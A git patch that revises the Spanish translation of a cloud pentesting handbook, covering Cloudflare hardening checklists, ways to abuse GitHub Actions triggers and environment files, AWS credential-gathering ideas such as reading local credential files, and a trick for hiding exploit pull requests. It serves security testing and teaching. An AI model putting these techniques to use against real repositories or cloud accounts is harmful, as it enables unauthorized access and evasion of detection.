From ecf5b2bb87dbcb1767fac7d77d92b0b52bdfba4a Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 11 Jan 2025 19:16:44 +0000 Subject: [PATCH] Translated ['src/pentesting-ci-cd/cloudflare-security/cloudflare-domains --- src/SUMMARY.md | 19 +- .../cloudflare-security/cloudflare-domains.md | 24 +- .../abusing-github-actions/README.md | 38 +- src/pentesting-cloud/aws-security/README.md | 46 +-- .../aws-federation-abuse.md | 8 +- .../README.md | 26 +- .../aws-ecr-post-exploitation.md | 2 +- .../aws-ecs-post-exploitation.md | 12 +- .../aws-lambda-privesc.md | 20 +- .../aws-services/aws-documentdb-enum.md | 2 +- .../aws-services/aws-dynamodb-enum.md | 12 +- .../README.md | 34 +- .../aws-relational-database-rds-enum.md | 10 +- .../aws-cloudtrail-enum.md | 68 ++-- .../aws-ec2-unauthenticated-enum.md | 6 +- src/pentesting-cloud/azure-security/README.md | 14 +- .../az-pass-the-cookie.md | 6 +- .../federation.md | 26 +- .../pass-the-prt.md | 24 +- .../az-persistence/az-vms-persistence.md | 6 +- .../az-cosmosDB-post-exploitation.md | 243 ++++++++++++ .../az-mysql-post-exploitation.md | 167 ++++++++ .../az-postgresql-post-exploitation.md | 155 ++++++++ .../az-cosmosDB-privesc.md | 93 +++++ .../az-mysql-privesc.md | 91 +++++ .../az-postgresql-privesc.md | 93 +++++ ...az-virtual-machines-and-network-privesc.md | 10 +- .../azure-security/az-services/az-cosmosDB.md | 357 ++++++++++++++++++ .../az-services/az-function-apps.md | 14 +- .../azure-security/az-services/az-mysql.md | 192 ++++++++++ .../az-services/az-postgresql.md | 172 +++++++++ .../azure-security/az-services/vms/README.md | 18 +- .../README.md | 16 +- .../digital-ocean-pentesting/README.md | 2 +- src/pentesting-cloud/gcp-security/README.md | 34 +- .../gcp-artifact-registry-persistence.md | 4 +- .../gcp-non-svc-persistance.md | 12 +- ...local-privilege-escalation-ssh-pivoting.md | 18 +- .../gcp-compute-instance.md | 6 +- .../gcp-cloud-sql-unauthenticated-enum.md | 6 +- .../gcp-compute-unauthenticated-enum.md | 4 +- .../ibm-cloud-pentesting/README.md | 4 +- .../attacking-kubernetes-from-inside-a-pod.md | 44 +-- .../gws-google-platforms-phishing/README.md | 50 +-- 44 files changed, 1890 insertions(+), 318 deletions(-) create mode 100644 src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md create mode 100644 src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md create mode 100644 src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md create mode 100644 src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md create mode 100644 src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md create mode 100644 src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md create mode 100644 src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md create mode 100644 src/pentesting-cloud/azure-security/az-services/az-mysql.md create mode 100644 src/pentesting-cloud/azure-security/az-services/az-postgresql.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index c39a9cc91..e3e18e17d 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -3,8 +3,8 @@ # 👽 Welcome! - [HackTricks Cloud](README.md) -- [About the Author$$external:https://book.hacktricks.xyz/welcome/about-the-author$$]() -- [HackTricks Values & faq$$external:https://book.hacktricks.xyz/welcome/hacktricks-values-and-faq$$]() +- [About the Author$$external:https://book.hacktricks.wiki/en/welcome/about-the-author.html$$]() +- [HackTricks Values & faq$$external:https://book.hacktricks.wiki/en/welcome/hacktricks-values-and-faq.html$$]() # 🏭 Pentesting CI/CD @@ -408,12 +408,15 @@ - [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md) - [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md) - [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md) + - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md) - [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md) - [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md) - [Az - Function Apps](pentesting-cloud/azure-security/az-services/az-function-apps.md) - [Az - Key Vault](pentesting-cloud/azure-security/az-services/az-keyvault.md) - [Az - Logic Apps](pentesting-cloud/azure-security/az-services/az-logic-apps.md) - [Az - Management Groups, Subscriptions & Resource Groups](pentesting-cloud/azure-security/az-services/az-management-groups-subscriptions-and-resource-groups.md) + - [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql.md) + - [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql.md) - [Az - Queue Storage](pentesting-cloud/azure-security/az-services/az-queue-enum.md) - [Az - Service Bus](pentesting-cloud/azure-security/az-services/az-servicebus-enum.md) - [Az - SQL](pentesting-cloud/azure-security/az-services/az-sql.md) @@ -442,9 +445,12 @@ - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md) - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md) - [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md) + - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-post-exploitation.md) - [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md) - [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md) - [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md) + - [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-post-exploitation.md) + - [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-post-exploitation.md) - [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md) - [Az - Service Bus Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md) - [Az - Table Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md) @@ -454,17 +460,20 @@ - [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md) - [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md) - [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md) + - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md) - [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md) - [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md) - [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md) - [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md) - [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md) + - [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md) + - [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md) - [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md) - [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md) - - [Az - Virtual Machines & Network Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md) - [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md) - [Az - Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md) - [Az - SQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md) + - [Az - Virtual Machines & Network Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md) - [Az - Persistence](pentesting-cloud/azure-security/az-persistence/README.md) - [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md) - [Az - VMs Persistence](pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md) @@ -501,8 +510,8 @@ # 🛫 Pentesting Network Services -- [HackTricks Pentesting Network$$external:https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network$$]() -- [HackTricks Pentesting Services$$external:https://book.hacktricks.xyz/network-services-pentesting/pentesting-ssh$$]() +- [HackTricks Pentesting Network$$external:https://book.hacktricks.wiki/en/generic-methodologies-and-resources/pentesting-network/index.html$$]() +- [HackTricks Pentesting Services$$external:https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ssh.html$$]() diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md index bbb49986c..3b206fdfa 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md @@ -8,7 +8,7 @@ En cada TLD configurado en Cloudflare hay algunas **configuraciones y servicios ### Resumen -- [ ] Tener una idea de **cuánto** se están **usando** los servicios de la cuenta +- [ ] Obtener una idea de **cuánto** se están **usando** los servicios de la cuenta - [ ] Encontrar también el **ID de zona** y el **ID de cuenta** ### Analítica @@ -17,14 +17,14 @@ En cada TLD configurado en Cloudflare hay algunas **configuraciones y servicios ### DNS -- [ ] Verificar datos **interesantes** (¿sensibles?) en los **registros** de DNS +- [ ] Verificar datos **interesantes** (¿sensibles?) en los **registros DNS** - [ ] Verificar **subdominios** que podrían contener **información sensible** solo basándose en el **nombre** (como admin173865324.domin.com) - [ ] Verificar páginas web que **no están** **protegidas** - [ ] Verificar **páginas web protegidas** que pueden ser **accedidas directamente** por CNAME o dirección IP - [ ] Verificar que **DNSSEC** está **habilitado** - [ ] Verificar que **CNAME Flattening** está **usado** en **todos los CNAMEs** - Esto podría ser útil para **ocultar vulnerabilidades de toma de subdominio** y mejorar los tiempos de carga -- [ ] Verificar que los dominios [**no son vulnerables a suplantación**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) +- [ ] Verificar que los dominios [**no son vulnerables a suplantación**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#mail-spoofing) ### **Correo Electrónico** @@ -43,12 +43,12 @@ TODO #### Certificados de Edge -- [ ] **Siempre usar HTTPS** debe estar **habilitado** +- [ ] **Siempre Usar HTTPS** debe estar **habilitado** - [ ] **HTTP Strict Transport Security (HSTS)** debe estar **habilitado** - [ ] **La versión mínima de TLS debe ser 1.2** - [ ] **TLS 1.3 debe estar habilitado** - [ ] **Reescrituras automáticas de HTTPS** deben estar **habilitadas** -- [ ] **Monitoreo de transparencia de certificados** debe estar **habilitado** +- [ ] **Monitoreo de Transparencia de Certificados** debe estar **habilitado** ### **Seguridad** @@ -66,15 +66,15 @@ TODO #### **Protección DDoS de CloudFlare** - Si puedes, habilita **Bot Fight Mode** o **Super Bot Fight Mode**. Si estás protegiendo alguna API accesada programáticamente (desde una página de frontend JS, por ejemplo). Puede que no puedas habilitar esto sin romper ese acceso. -- En **WAF**: Puedes crear **límites de tasa por ruta de URL** o para **bots verificados** (reglas de limitación de tasa), o para **bloquear acceso** basado en IP, Cookie, referidor...). Así que podrías bloquear solicitudes que no provengan de una página web o que no tengan una cookie. -- Si el ataque es de un **bot verificado**, al menos **agrega un límite de tasa** a los bots. +- En **WAF**: Puedes crear **límites de tasa por ruta URL** o para **bots verificados** (reglas de limitación de tasa), o **bloquear acceso** basado en IP, Cookie, referidor...). Así que podrías bloquear solicitudes que no provengan de una página web o que no tengan una cookie. +- Si el ataque proviene de un **bot verificado**, al menos **agrega un límite de tasa** a los bots. - Si el ataque es a una **ruta específica**, como mecanismo de prevención, agrega un **límite de tasa** en esta ruta. - También puedes **blanquear** direcciones IP, rangos de IP, países o ASN desde las **Herramientas** en WAF. -- Verifica si las **Reglas gestionadas** también podrían ayudar a prevenir explotaciones de vulnerabilidades. -- En la sección **Herramientas** puedes **bloquear o dar un desafío a IPs** y **agentes de usuario** específicos. +- Verifica si las **Reglas Administradas** también podrían ayudar a prevenir explotaciones de vulnerabilidades. +- En la sección **Herramientas** puedes **bloquear o dar un desafío a IPs específicas** y **agentes de usuario.** - En DDoS podrías **anular algunas reglas para hacerlas más restrictivas**. - **Configuraciones**: Establece el **Nivel de Seguridad** en **Alto** y en **Bajo Ataque** si estás Bajo Ataque y que la **Verificación de Integridad del Navegador está habilitada**. -- En Dominios de Cloudflare -> Analítica -> Seguridad -> Verifica si la **limitación de tasa** está habilitada +- En Dominios de Cloudflare -> Analítica -> Seguridad -> Verifica si **la limitación de tasa** está habilitada - En Dominios de Cloudflare -> Seguridad -> Eventos -> Verifica si hay **Eventos maliciosos detectados** ### Acceso @@ -89,11 +89,11 @@ _No pude encontrar ninguna opción relacionada con la seguridad_ ### Caché -- [ ] En la sección **`Configuración`** considera habilitar la **Herramienta de Escaneo de CSAM** +- [ ] En la sección **`Configuración`** considera habilitar la **Herramienta de Escaneo CSAM** ### **Rutas de Workers** -_Ya deberías haber revisado_ [_cloudflare workers_](./#workers) +_Ya deberías haber revisado_ [_cloudflare workers_](#workers) ### Reglas diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index c8c4f2f52..d7da96eb2 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -7,7 +7,7 @@ En esta página encontrarás: - Un **resumen de todos los impactos** de un atacante que logra acceder a una Github Action -- Diferentes formas de **acceder a una acción**: +- Diferentes formas de **obtener acceso a una acción**: - Tener **permisos** para crear la acción - Abusar de los **triggers** relacionados con **pull requests** - Abusar de **otras técnicas de acceso externo** @@ -81,7 +81,7 @@ https://api.github.com/repos///pulls \ {{#endtabs }} > [!CAUTION] -> Ten en cuenta que en varias ocasiones podrás encontrar **tokens de usuario de github dentro de los entornos de Github Actions o en los secretos**. Estos tokens pueden darte más privilegios sobre el repositorio y la organización. +> Tenga en cuenta que en varias ocasiones podrá encontrar **tokens de usuario de github dentro de los entornos de Github Actions o en los secretos**. Estos tokens pueden otorgarle más privilegios sobre el repositorio y la organización.
@@ -143,11 +143,11 @@ Es posible verificar los permisos otorgados a un Github Token en los repositorio > [!NOTE] > Esta sería la forma más fácil de comprometer las acciones de Github, ya que este caso supone que tienes acceso para **crear un nuevo repositorio en la organización**, o tienes **privilegios de escritura sobre un repositorio**. > -> Si te encuentras en este escenario, solo puedes revisar las [técnicas de Post Explotación](./#post-exploitation-techniques-from-inside-an-action). +> Si te encuentras en este escenario, solo puedes revisar las [técnicas de Post Explotación](#post-exploitation-techniques-from-inside-an-action). ### Ejecución desde la Creación de un Repositorio -En caso de que los miembros de una organización puedan **crear nuevos repos**, y tú puedas ejecutar acciones de github, puedes **crear un nuevo repositorio y robar los secretos establecidos a nivel de organización**. +En caso de que los miembros de una organización puedan **crear nuevos repositorios** y tú puedas ejecutar acciones de github, puedes **crear un nuevo repositorio y robar los secretos establecidos a nivel de organización**. ### Ejecución desde una Nueva Rama @@ -179,11 +179,11 @@ El desencadenador de flujo de trabajo **`pull_request`** ejecutará el flujo de
> [!NOTE] -> Como la **limitación predeterminada** es para **contribuyentes primerizos**, podrías contribuir **corrigiendo un error/tipografía válido** y luego enviar **otras PRs para abusar de tus nuevos privilegios de `pull_request`**. +> Como la **limitación predeterminada** es para **contribuyentes de primera vez**, podrías contribuir **corrigiendo un error/tipografía válido** y luego enviar **otras PRs para abusar de tus nuevos privilegios de `pull_request`**. > > **Probé esto y no funciona**: ~~Otra opción sería crear una cuenta con el nombre de alguien que contribuyó al proyecto y eliminó su cuenta.~~ -Además, por defecto **previene permisos de escritura** y **acceso a secretos** en el repositorio objetivo, como se menciona en la [**documentación**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): +Además, por defecto **previene permisos de escritura** y **acceso a secretos** al repositorio objetivo como se menciona en la [**documentación**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): > Con la excepción de `GITHUB_TOKEN`, **los secretos no se pasan al runner** cuando un flujo de trabajo es desencadenado desde un repositorio **forked**. El **`GITHUB_TOKEN` tiene permisos de solo lectura** en solicitudes de extracción **de repositorios forked**. @@ -196,18 +196,18 @@ Como el atacante también controla el código que se ejecuta, incluso si no hay ### **`pull_request_target`** -El desencadenador de flujo de trabajo **`pull_request_target`** tiene **permiso de escritura** en el repositorio objetivo y **acceso a secretos** (y no pide permiso). +El desencadenador de flujo de trabajo **`pull_request_target`** tiene **permiso de escritura** al repositorio objetivo y **acceso a secretos** (y no pide permiso). Ten en cuenta que el desencadenador de flujo de trabajo **`pull_request_target`** **se ejecuta en el contexto base** y no en el proporcionado por la PR (para **no ejecutar código no confiable**). Para más información sobre `pull_request_target`, [**consulta la documentación**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ Además, para más información sobre este uso específico y peligroso, consulta este [**post del blog de github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). -Puede parecer que, dado que el **flujo de trabajo ejecutado** es el definido en la **base** y **no en la PR**, es **seguro** usar **`pull_request_target`**, pero hay **algunos casos en los que no lo es**. +Puede parecer que debido a que el **flujo de trabajo ejecutado** es el definido en la **base** y **no en la PR**, es **seguro** usar **`pull_request_target`**, pero hay **algunos casos en los que no lo es**. Y este tendrá **acceso a secretos**. ### `workflow_run` -El desencadenador [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) permite ejecutar un flujo de trabajo desde otro cuando está `completado`, `solicitado` o `en_progreso`. +El desencadenador [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) permite ejecutar un flujo de trabajo desde otro cuando está `completado`, `solicitado` o `en progreso`. En este ejemplo, un flujo de trabajo está configurado para ejecutarse después de que se complete el flujo de trabajo separado "Ejecutar Pruebas": ```yaml @@ -226,7 +226,7 @@ El segundo consiste en **pasar** un **artifact** del código **no confiable** al TODO -TODO: Verificar si al ejecutarse desde un pull_request el código utilizado/descargado es el de la fuente o el del PR bifurcado +TODO: Verificar si al ejecutarse desde un pull_request el código utilizado/descargado es el de la fuente o el del PR bifurcado. ## Abusando de la Ejecución Bifurcada @@ -234,7 +234,7 @@ Hemos mencionado todas las formas en que un atacante externo podría lograr que ### Ejecución de checkout no confiable -En el caso de **`pull_request`,** el flujo de trabajo se ejecutará en el **contexto del PR** (por lo que ejecutará el **código malicioso del PR**), pero alguien necesita **autorizarlo primero** y se ejecutará con algunas [limitaciones](./#pull_request). +En el caso de **`pull_request`,** el flujo de trabajo se ejecutará en el **contexto del PR** (por lo que ejecutará el **código malicioso del PR**), pero alguien necesita **autorizarlo primero** y se ejecutará con algunas [limitaciones](#pull_request). En el caso de un flujo de trabajo que utiliza **`pull_request_target` o `workflow_run`** que depende de un flujo de trabajo que puede ser activado desde **`pull_request_target` o `pull_request`**, se ejecutará el código del repositorio original, por lo que el **atacante no puede controlar el código ejecutado**. @@ -269,7 +269,7 @@ message: | ¡Gracias! -El código **no confiable potencialmente se está ejecutando durante `npm install` o `npm build`** ya que los scripts de construcción y los **paquetes referenciados son controlados por el autor del PR**. +El código potencialmente **no confiable se está ejecutando durante `npm install` o `npm build`** ya que los scripts de construcción y los **paquetes referenciados son controlados por el autor del PR**. > [!WARNING] > Un dork de github para buscar acciones vulnerables es: `event.pull_request pull_request_target extension:yml`, sin embargo, hay diferentes formas de configurar los trabajos para que se ejecuten de manera segura incluso si la acción está configurada de manera insegura (como usar condicionales sobre quién es el actor que genera el PR). @@ -286,7 +286,7 @@ gh-actions-context-script-injections.md Según la documentación: Puede hacer que una **variable de entorno esté disponible para cualquier paso posterior** en un trabajo de flujo de trabajo definiendo o actualizando la variable de entorno y escribiendo esto en el archivo de entorno **`GITHUB_ENV`**. -Si un atacante pudiera **inyectar cualquier valor** dentro de esta variable **env**, podría inyectar variables de entorno que podrían ejecutar código en pasos posteriores como **LD_PRELOAD** o **NODE_OPTIONS**. +Si un atacante pudiera **inyectar cualquier valor** dentro de esta **variable env**, podría inyectar variables de entorno que podrían ejecutar código en pasos posteriores como **LD_PRELOAD** o **NODE_OPTIONS**. Por ejemplo ([**esto**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) y [**esto**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagina un flujo de trabajo que confía en un artifact subido para almacenar su contenido dentro de la variable de entorno **`GITHUB_ENV`**. Un atacante podría subir algo como esto para comprometerlo: @@ -356,7 +356,7 @@ Si otros repositorios estaban utilizando **dependencias de los repositorios de e ## Pivotar Repositorio > [!NOTE] -> En esta sección hablaremos sobre técnicas que permitirían **pivotar de un repositorio a otro** suponiendo que tenemos algún tipo de acceso en el primero (ver la sección anterior). +> En esta sección hablaremos sobre técnicas que permitirían **pivotar de un repositorio a otro** suponiendo que tenemos algún tipo de acceso al primero (ver la sección anterior). ### Envenenamiento de Caché @@ -484,7 +484,7 @@ Un ejemplo se puede encontrar en el siguiente expandible:
-Github Action Build & Push Docker Image +Github Action Build & Push Docker Image ```yaml [...] @@ -515,7 +515,7 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e ```
-Como puedes ver en el código anterior, el registro de Github está alojado en **`ghcr.io`**. +Como pudiste ver en el código anterior, el registro de Github está alojado en **`ghcr.io`**. Un usuario con permisos de lectura sobre el repositorio podrá descargar la imagen de Docker utilizando un token de acceso personal: ```bash @@ -525,7 +525,7 @@ docker pull ghcr.io//: Luego, el usuario podría buscar **secretos filtrados en las capas de la imagen de Docker:** {{#ref}} -https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics +https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html {{#endref}} ### Información sensible en los registros de Github Actions @@ -536,14 +536,14 @@ Incluso si **Github** intenta **detectar valores secretos** en los registros de (Técnica de [**aquí**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Primero que nada, cualquier PR levantada es claramente visible al público en Github y a la cuenta de GitHub objetivo. En GitHub, por defecto, **no podemos eliminar un PR de internet**, pero hay un giro. Para las cuentas de Github que están **suspendidas** por Github, todos sus **PRs son eliminados automáticamente** y removidos de internet. Así que, para ocultar tu actividad, necesitas o bien hacer que tu **cuenta de GitHub sea suspendida o que tu cuenta sea marcada**. Esto **ocultará todas tus actividades** en GitHub de internet (básicamente eliminará todos tus PR de explotación). -Una organización en GitHub es muy proactiva en reportar cuentas a GitHub. Todo lo que necesitas hacer es compartir “algunas cosas” en un Issue y se asegurarán de que tu cuenta sea suspendida en 12 horas :p y ahí lo tienes, has hecho tu explotación invisible en github. +Una organización en GitHub es muy proactiva en reportar cuentas a GitHub. Todo lo que necesitas hacer es compartir "algunas cosas" en un Issue y se asegurarán de que tu cuenta sea suspendida en 12 horas :p y ahí lo tienes, has hecho tu explotación invisible en github. > [!WARNING] > La única forma en que una organización puede darse cuenta de que ha sido objetivo es revisar los registros de GitHub desde SIEM, ya que desde la interfaz de GitHub el PR sería eliminado. ## Herramientas -Las siguientes herramientas son útiles para encontrar flujos de trabajo de Github Action e incluso encontrar vulnerables: +Las siguientes herramientas son útiles para encontrar flujos de trabajo de Github Action e incluso encontrar algunos vulnerables: - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md index a1ba2de1f..39ca13191 100644 --- a/src/pentesting-cloud/aws-security/README.md +++ b/src/pentesting-cloud/aws-security/README.md @@ -4,7 +4,7 @@ ## Información Básica -**Antes de comenzar el pentesting** en un **AWS** ambiente, hay algunas **cosas básicas que necesitas saber** sobre cómo funciona AWS para ayudarte a entender qué necesitas hacer, cómo encontrar configuraciones incorrectas y cómo explotarlas. +**Antes de comenzar el pentesting** en un **entorno de AWS**, hay algunas **cosas básicas que necesitas saber** sobre cómo funciona AWS para ayudarte a entender qué necesitas hacer, cómo encontrar configuraciones incorrectas y cómo explotarlas. Conceptos como la jerarquía de organización, IAM y otros conceptos básicos se explican en: @@ -29,21 +29,21 @@ Herramientas para simular ataques: ## Metodología de Pentester/Red Team de AWS -Para auditar un ambiente de AWS, es muy importante saber: qué **servicios se están utilizando**, qué está **siendo expuesto**, quién tiene **acceso** a qué, y cómo están conectados los servicios internos de AWS y los **servicios externos**. +Para auditar un entorno de AWS, es muy importante saber: qué **servicios se están utilizando**, qué está **siendo expuesto**, quién tiene **acceso** a qué, y cómo están conectados los servicios internos de AWS y los **servicios externos**. -Desde el punto de vista de un Red Team, el **primer paso para comprometer un ambiente de AWS** es lograr obtener algunas **credenciales**. Aquí tienes algunas ideas sobre cómo hacerlo: +Desde el punto de vista de un Red Team, el **primer paso para comprometer un entorno de AWS** es conseguir obtener algunas **credenciales**. Aquí tienes algunas ideas sobre cómo hacerlo: -- **Leaks** en github (o similar) - OSINT +- **Filtraciones** en github (o similar) - OSINT - **Ingeniería** Social - Reutilización de **contraseñas** (filtraciones de contraseñas) - Vulnerabilidades en Aplicaciones Alojadas en AWS -- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) con acceso al endpoint de metadatos +- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) con acceso al endpoint de metadatos - **Lectura de Archivos Locales** - `/home/USERNAME/.aws/credentials` - `C:\Users\USERNAME\.aws\credentials` -- **brechas** de terceros +- **terceros** **comprometidos** - Empleado **Interno** -- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)credenciales +- [**Cognito** ](aws-services/aws-cognito-enum/index.html#cognito)credenciales O comprometiendo un servicio **no autenticado** expuesto: @@ -58,21 +58,21 @@ aws-permissions-for-a-pentest.md {{#endref}} > [!NOTE] -> Después de haber logrado obtener credenciales, necesitas saber **a quién pertenecen esas credenciales**, y **a qué tienen acceso**, por lo que necesitas realizar alguna enumeración básica: +> Después de haber conseguido obtener credenciales, necesitas saber **a quién pertenecen esas credenciales**, y **a qué tienen acceso**, por lo que necesitas realizar alguna enumeración básica: ## Enumeración Básica ### SSRF -Si encontraste un SSRF en una máquina dentro de AWS, revisa esta página para trucos: +Si encontraste un SSRF en una máquina dentro de AWS, consulta esta página para trucos: {{#ref}} -https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf +https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html {{#endref}} ### Whoami -Una de las primeras cosas que necesitas saber es quién eres (en qué cuenta estás y otra información sobre el ambiente de AWS): +Una de las primeras cosas que necesitas saber es quién eres (en qué cuenta estás y otra información sobre el entorno de AWS): ```bash # Easiest way, but might be monitored? aws sts get-caller-identity @@ -110,18 +110,18 @@ aws-services/aws-iam-enum.md {{#endref}} > [!NOTE] -> Ahora que **tiene algo de información sobre sus credenciales** (y si es un equipo rojo, espero que **no haya sido detectado**). Es hora de averiguar qué servicios se están utilizando en el entorno.\ +> Ahora que **tiene algo de información sobre sus credenciales** (y si es un red team, espero que **no haya sido detectado**). Es hora de averiguar qué servicios se están utilizando en el entorno.\ > En la siguiente sección puede verificar algunas formas de **enumerar algunos servicios comunes.** ## Enumeración de Servicios, Post-Explotación y Persistencia -AWS tiene una asombrosa cantidad de servicios, en la siguiente página encontrará **información básica, cheatsheets de enumeración**, cómo **evitar la detección**, obtener **persistencia** y otros trucos de **post-explotación** sobre algunos de ellos: +AWS tiene una asombrosa cantidad de servicios, en la siguiente página encontrará **información básica, enumeración** cheatsheets\*\*,\*\* cómo **evitar la detección**, obtener **persistencia** y otros trucos de **post-explotación** sobre algunos de ellos: {{#ref}} aws-services/ {{#endref}} -Tenga en cuenta que **no** necesita realizar todo el trabajo **manualmente**, a continuación en esta publicación puede encontrar una **sección sobre** [**herramientas automáticas**](./#automated-tools). +Tenga en cuenta que **no** necesita realizar todo el trabajo **manualmente**, a continuación en esta publicación puede encontrar una **sección sobre** [**herramientas automáticas**](#automated-tools). Además, en esta etapa puede haber descubierto **más servicios expuestos a usuarios no autenticados**, podría ser capaz de explotarlos: @@ -139,13 +139,13 @@ aws-privilege-escalation/ ## Servicios Expuestos Públicamente -Mientras enumera los servicios de AWS, puede haber encontrado algunos de ellos **exponiendo elementos a Internet** (puertos de VM/Contenedores, bases de datos o servicios de cola, instantáneas o buckets...).\ -Como pentester/equipo rojo, siempre debe verificar si puede encontrar **información sensible / vulnerabilidades** en ellos, ya que podrían proporcionarle **más acceso a la cuenta de AWS**. +Mientras enumeraba los servicios de AWS, puede haber encontrado algunos de ellos **exponiendo elementos a Internet** (puertos de VM/Contenedores, bases de datos o servicios de cola, instantáneas o buckets...).\ +Como pentester/red teamer, siempre debe verificar si puede encontrar **información sensible / vulnerabilidades** en ellos, ya que podrían proporcionarle **más acceso a la cuenta de AWS**. En este libro debería encontrar **información** sobre cómo encontrar **servicios de AWS expuestos y cómo 